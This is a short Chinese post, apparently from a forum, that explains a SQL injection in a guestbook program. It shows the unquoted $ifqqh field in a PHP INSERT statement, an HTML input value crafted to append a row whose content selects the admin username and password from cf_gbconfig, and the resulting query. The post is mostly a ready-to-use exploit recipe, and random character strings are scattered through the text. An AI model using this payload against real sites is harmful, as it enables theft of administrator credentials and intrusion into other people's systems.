留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。0 c x5 b4 D& J( v
/ Z1 p) K. S) D* ]
$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
( X1 [ U) t! X9 H+ B6 |8 }' w) |( \& v$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响* E) k7 G: K/ t7 j4 x" n: [: v+ M
0 b. u& O% l! ^# r
提交的时候把ifqqh的值改一下。变成
/ G* R! A3 J1 R# [/ e5 |3 I. |9 I
0 o1 I) ^0 D! p) P, ~1 U: v<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />$ g0 R( h4 j+ r5 M, S
: m$ ?& r# ?& \. ]) @
这样SQL插入语句就变了.
9 g, L* m3 ~6 O
7 Q8 W# G% v' g7 W$ uinsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
! `/ d8 R0 V/ J$ l' ^/ ?+ j/ ]7 W6 Y1 ?5 `
构造了另外一句SQL。并且把帐号密码读出来。9 r* `+ }% n8 r8 G9 k1 T% `
, p2 P8 d5 \) t* J
|